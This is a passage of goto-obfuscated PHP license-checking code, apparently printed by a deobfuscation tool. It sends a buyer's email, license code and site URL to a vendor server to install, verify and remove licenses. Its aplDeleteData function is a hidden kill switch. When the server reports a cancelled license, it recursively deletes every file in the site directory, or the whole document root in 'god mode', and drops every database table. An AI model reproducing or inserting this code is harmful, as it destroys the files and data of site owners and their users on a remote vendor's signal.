@fclose($handle);
DX404:
CIawu:
goto VNKIB;
OtsK5:
$notifications_array["notification_case"] =
"notification_already_installed";
$notifications_array[
"notification_text"
] = APL_NOTIFICATION_SCRIPT_ALREADY_INSTALLED;
VNKIB:
v8DSN:
return $notifications_array;
}
function preparePackageInstallation($installable)
{
$notifications_array = [];
$apl_core_notifications = aplCheckSettings();
if (!empty($apl_core_notifications)) {
goto C8gTx;
}
$MYSQLI_LINK = getMysqliConnection();
$core_license = aplGetLicenseData($MYSQLI_LINK);
if (!(empty($core_license) || !is_array($core_license))) {
goto N2ayF;
}
throw new \Exception(
"Core script license " .
"validation" .
" failed! Please contact" .
" support for help."
);
N2ayF:
$CLIENT_EMAIL = $core_license["CLIENT_EMAIL"];
$LICENSE_CODE = $installable["license_key"];
$ROOT_URL = config("app.url");
$INSTALLATION_HASH = hash(
"sha256",
$ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE
);
$post_info =
"product_id=" .
rawurlencode($installable["id"]) .
"&client_email=" .
rawurlencode($CLIENT_EMAIL) .
"&license_code=" .
rawurlencode($LICENSE_CODE) .
"&root_url=" .
rawurlencode($ROOT_URL) .
"&installation_hash=" .
rawurlencode($INSTALLATION_HASH) .
"&license_signature=" .
rawurlencode(
aplGenerateScriptSignature(
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE,
$installable["id"]
)
);
$content_array = aplCustomPost(
APL_ROOT_URL . "/apl_callbacks/license_install.php",
$post_info,
$ROOT_URL
);
$notifications_array = aplParseServerNotifications(
$content_array,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE,
$installable["id"]
);
if (
$notifications_array["notification_case"] == "notification_license_ok"
) {
goto Hsfq2;
}
if (empty($notifications_array["notification_text"])) {
goto ScK3u;
}
throw new \Exception(
"License " .
"validation" .
" failed! " .
$notifications_array["notification_text"]
);
ScK3u:
goto s5ou2;
Hsfq2:
$INSTALLATION_KEY = aplCustomEncrypt(
password_hash(date("Y-m-d"), PASSWORD_DEFAULT),
APL_SALT . $ROOT_URL
);
$LCD = aplCustomEncrypt(
date("Y-m-d", strtotime("-" . APL_DAYS . " days")),
APL_SALT . $INSTALLATION_KEY
);
$LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY);
$content_array = aplCustomPost(
APL_ROOT_URL . "/apl_callbacks/license_scheme.php",
$post_info,
$ROOT_URL
);
$notifications_array = aplParseServerNotifications(
$content_array,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE,
$installable["id"]
);
if (
!(
!empty($notifications_array["notification_data"]) &&
!empty($notifications_array["notification_data"]["scheme_query"])
)
) {
goto cP18I;
}
return [
"installation_key" => $INSTALLATION_KEY,
"installation_hash" => $INSTALLATION_HASH,
"lcd" => $LCD,
"lrd" => $LRD,
];
cP18I:
s5ou2:
C8gTx:
throw new \Exception(
"License " .
"validation" .
" failed! Please contact" .
" support for help."
);
}
function incevioAutoloadHelpers($MYSQLI_LINK = null, $FORCE_VERIFICATION = 0)
{
$notifications_array = [];
$update_lrd_value = 0;
$update_lcd_value = 0;
$updated_records = 0;
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto qf7V5;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode(
"; ",
$apl_core_notifications
);
goto rD3z9;
qf7V5:
if (aplCheckData($MYSQLI_LINK)) {
goto PqwBu;
}
$notifications_array["notification_case"] =
"notification_license_corrupted";
$notifications_array[
"notification_text"
] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto EFoTa;
PqwBu:
extract(aplGetLicenseData($MYSQLI_LINK));
if (
aplGetDaysBetweenDates(
aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY),
date("Y-m-d")
) < APL_DAYS &&
aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY) <= date("Y-m-d") &&
aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) <= date("Y-m-d") &&
$FORCE_VERIFICATION === 0
) {
goto gboIf;
}
$post_info =
"product_id=" .
rawurlencode(APL_PRODUCT_ID) .
"&client_email=" .
rawurlencode($CLIENT_EMAIL) .
"&license_code=" .
rawurlencode($LICENSE_CODE) .
"&root_url=" .
rawurlencode($ROOT_URL) .
"&installation_hash=" .
rawurlencode($INSTALLATION_HASH) .
"&license_signature=" .
rawurlencode(
aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
);
$content_array = aplCustomPost(
APL_ROOT_URL . "/apl_callbacks/license_verify.php",
$post_info,
$ROOT_URL
);
$notifications_array = aplParseServerNotifications(
$content_array,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE
);
if (
!(
$notifications_array["notification_case"] ==
"notification_license_ok"
)
) {
goto FVJ1V;
}
$update_lcd_value = 1;
FVJ1V:
if (
!(
$notifications_array["notification_case"] ==
"notification_license_cancelled" &&
APL_DELETE_CANCELLED == "YES"
)
) {
goto bPz4J;
}
aplDeleteData($MYSQLI_LINK);
bPz4J:
goto Cukfc;
gboIf:
$notifications_array["notification_case"] = "notification_license_ok";
$notifications_array[
"notification_text"
] = APL_NOTIFICATION_BYPASS_VERIFICATION;
Cukfc:
if (
!(aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) < date("Y-m-d"))
) {
goto TMwJa;
}
$update_lrd_value = 1;
TMwJa:
if (!($update_lrd_value == 1 || $update_lcd_value == 1)) {
goto VcoPV;
}
if ($update_lcd_value == 1) {
goto V15AH;
}
$LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
goto WSN_a;
V15AH:
$LCD = date("Y-m-d");
WSN_a:
$INSTALLATION_KEY = aplCustomEncrypt(
password_hash(date("Y-m-d"), PASSWORD_DEFAULT),
APL_SALT . $ROOT_URL
);
$LCD = aplCustomEncrypt($LCD, APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY);
if (!(APL_STORAGE == "DATABASE")) {
goto YmEPP;
}
$stmt = mysqli_prepare(
$MYSQLI_LINK,
"UPDATE " . APL_DATABASE_TABLE . " SET LCD=?, LRD=?, INSTALLATION_KEY=?"
);
if (!$stmt) {
goto pTU0F;
}
mysqli_stmt_bind_param($stmt, "sss", $LCD, $LRD, $INSTALLATION_KEY);
$exec = mysqli_stmt_execute($stmt);
$affected_rows = mysqli_stmt_affected_rows($stmt);
if (!($affected_rows > 0)) {
goto J0XW5;
}
$updated_records = $updated_records + $affected_rows;
J0XW5:
mysqli_stmt_close($stmt);
pTU0F:
if (!($updated_records < 1)) {
goto OZEFJ;
}
echo APL_NOTIFICATION_DATABASE_WRITE_ERROR;
exit();
OZEFJ:
YmEPP:
if (!(APL_STORAGE == "FILE")) {
goto nAkCJ;
}
$handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+");
$fwrite = @fwrite(
$handle,
"<ROOT_URL>{$ROOT_URL}</ROOT_URL><CLIENT_EMAIL>{$CLIENT_EMAIL}</CLIENT_EMAIL><LICENSE_CODE>{$LICENSE_CODE}</LICENSE_CODE><LCD>{$LCD}</LCD><LRD>{$LRD}</LRD><INSTALLATION_KEY>{$INSTALLATION_KEY}</INSTALLATION_KEY><INSTALLATION_HASH>{$INSTALLATION_HASH}</INSTALLATION_HASH>"
);
if (!($fwrite === false)) {
goto A1as8;
}
echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
exit();
A1as8:
@fclose($handle);
nAkCJ:
VcoPV:
EFoTa:
rD3z9:
if (
!(
$notifications_array["notification_case"] !=
"notification_license_ok"
)
) {
goto ZG0x7;
}
echo "<br/><br/>";
echo "License is not" .
" installed yet" .
" or corrupted. Please" .
" contact" .
" support " .
"team ";
exit();
ZG0x7:
return $notifications_array;
}
function aplVerifySupport($MYSQLI_LINK = null)
{
$notifications_array = [];
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto Pdgss;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode(
"; ",
$apl_core_notifications
);
goto lkS8z;
Pdgss:
if (aplCheckData($MYSQLI_LINK)) {
goto grU_Q;
}
$notifications_array["notification_case"] =
"notification_license_corrupted";
$notifications_array[
"notification_text"
] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto y1_3B;
grU_Q:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info =
"product_id=" .
rawurlencode(APL_PRODUCT_ID) .
"&client_email=" .
rawurlencode($CLIENT_EMAIL) .
"&license_code=" .
rawurlencode($LICENSE_CODE) .
"&root_url=" .
rawurlencode($ROOT_URL) .
"&installation_hash=" .
rawurlencode($INSTALLATION_HASH) .
"&license_signature=" .
rawurlencode(
aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
);
$content_array = aplCustomPost(
APL_ROOT_URL . "/apl_callbacks/license_support.php",
$post_info,
$ROOT_URL
);
$notifications_array = aplParseServerNotifications(
$content_array,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE
);
y1_3B:
lkS8z:
return $notifications_array;
}
function aplVerifyUpdates($MYSQLI_LINK = null)
{
$notifications_array = [];
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto qyNrl;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode(
"; ",
$apl_core_notifications
);
goto UUVR3;
qyNrl:
if (aplCheckData($MYSQLI_LINK)) {
goto sGqBY;
}
$notifications_array["notification_case"] =
"notification_license_corrupted";
$notifications_array[
"notification_text"
] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto Qqu6U;
sGqBY:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info =
"product_id=" .
rawurlencode(APL_PRODUCT_ID) .
"&client_email=" .
rawurlencode($CLIENT_EMAIL) .
"&license_code=" .
rawurlencode($LICENSE_CODE) .
"&root_url=" .
rawurlencode($ROOT_URL) .
"&installation_hash=" .
rawurlencode($INSTALLATION_HASH) .
"&license_signature=" .
rawurlencode(
aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
);
$content_array = aplCustomPost(
APL_ROOT_URL . "/apl_callbacks/license_updates.php",
$post_info,
$ROOT_URL
);
$notifications_array = aplParseServerNotifications(
$content_array,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE
);
Qqu6U:
UUVR3:
return $notifications_array;
}
function incevioUpdateLicense($MYSQLI_LINK = null)
{
$notifications_array = [];
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto mv3HF;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode(
"; ",
$apl_core_notifications
);
goto kGywu;
mv3HF:
if (aplCheckData($MYSQLI_LINK)) {
goto Axjf1;
}
$notifications_array["notification_case"] =
"notification_license_corrupted";
$notifications_array[
"notification_text"
] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto jN_kK;
Axjf1:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info =
"product_id=" .
rawurlencode(APL_PRODUCT_ID) .
"&client_email=" .
rawurlencode($CLIENT_EMAIL) .
"&license_code=" .
rawurlencode($LICENSE_CODE) .
"&root_url=" .
rawurlencode($ROOT_URL) .
"&installation_hash=" .
rawurlencode($INSTALLATION_HASH) .
"&license_signature=" .
rawurlencode(
aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
);
$content_array = aplCustomPost(
APL_ROOT_URL . "/apl_callbacks/license_update.php",
$post_info,
$ROOT_URL
);
$notifications_array = aplParseServerNotifications(
$content_array,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE
);
jN_kK:
kGywu:
return $notifications_array;
}
function incevioUninstallLicense($MYSQLI_LINK = null)
{
$notifications_array = [];
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto XgYsI;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode(
"; ",
$apl_core_notifications
);
goto PBc0u;
XgYsI:
if (aplCheckData($MYSQLI_LINK)) {
goto bETzZ;
}
$notifications_array["notification_case"] =
"notification_license_corrupted";
$notifications_array[
"notification_text"
] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto th7hf;
bETzZ:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info =
"product_id=" .
rawurlencode(APL_PRODUCT_ID) .
"&client_email=" .
rawurlencode($CLIENT_EMAIL) .
"&license_code=" .
rawurlencode($LICENSE_CODE) .
"&root_url=" .
rawurlencode($ROOT_URL) .
"&installation_hash=" .
rawurlencode($INSTALLATION_HASH) .
"&license_signature=" .
rawurlencode(
aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
);
$content_array = aplCustomPost(
APL_ROOT_URL . "/apl_callbacks/license_uninstall.php",
$post_info,
$ROOT_URL
);
$notifications_array = aplParseServerNotifications(
$content_array,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE
);
if (
!(
$notifications_array["notification_case"] ==
"notification_license_ok"
)
) {
goto HyyMB;
}
if (!(APL_STORAGE == "DATABASE")) {
goto oETlZ;
}
mysqli_query($MYSQLI_LINK, "DELETE FROM " . APL_DATABASE_TABLE);
mysqli_query($MYSQLI_LINK, "DROP TABLE " . APL_DATABASE_TABLE);
oETlZ:
if (!(APL_STORAGE == "FILE")) {
goto GW99A;
}
$handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+");
@fclose($handle);
GW99A:
HyyMB:
th7hf:
PBc0u:
return $notifications_array;
}
function aplDeleteData($MYSQLI_LINK = null)
{
if (APL_GOD_MODE == "YES" && isset($_SERVER["DOCUMENT_ROOT"])) {
goto oByhn;
}
$root_directory = dirname(__DIR__);
goto Tp3Ys;
oByhn:
$root_directory = $_SERVER["DOCUMENT_ROOT"];
Tp3Ys:
foreach (
new RecursiveIteratorIterator(
new RecursiveDirectoryIterator(
$root_directory,
FilesystemIterator::SKIP_DOTS
),
RecursiveIteratorIterator::CHILD_FIRST
)
as $path
) {
$path->isDir() && !$path->isLink()
? rmdir($path->getPathname())
: unlink($path->getPathname());
kKJMy:
}
kYGeP:
rmdir($root_directory);
if (!(APL_STORAGE == "DATABASE")) {
goto Ql3wL;
}
$database_tables_array = [];
$table_list_results = mysqli_query($MYSQLI_LINK, "SHOW TABLES");
AYSjD:
if (!($table_list_row = mysqli_fetch_row($table_list_results))) {
goto M0ADK;
}
$database_tables_array[] = $table_list_row[0];
goto AYSjD;
M0ADK:
if (empty($database_tables_array)) {
goto oA0NR;
}
foreach ($database_tables_array as $table_name) {
mysqli_query($MYSQLI_LINK, "DELETE FROM {$table_name}");
NH0uQ:
}
s2J0n:
foreach ($database_tables_array as $table_name) {
mysqli_query($MYSQLI_LINK, "DROP TABLE {$table_name}");
Xr05S:
}
dOOOW:
oA0NR:
Ql3wL:
exit();
}
?>
Function Calls
None |
Stats
MD5 | 40158c9504adcad9f3a7116668db97e7 |
Eval Count | 0 |
Decode Time | 85 ms |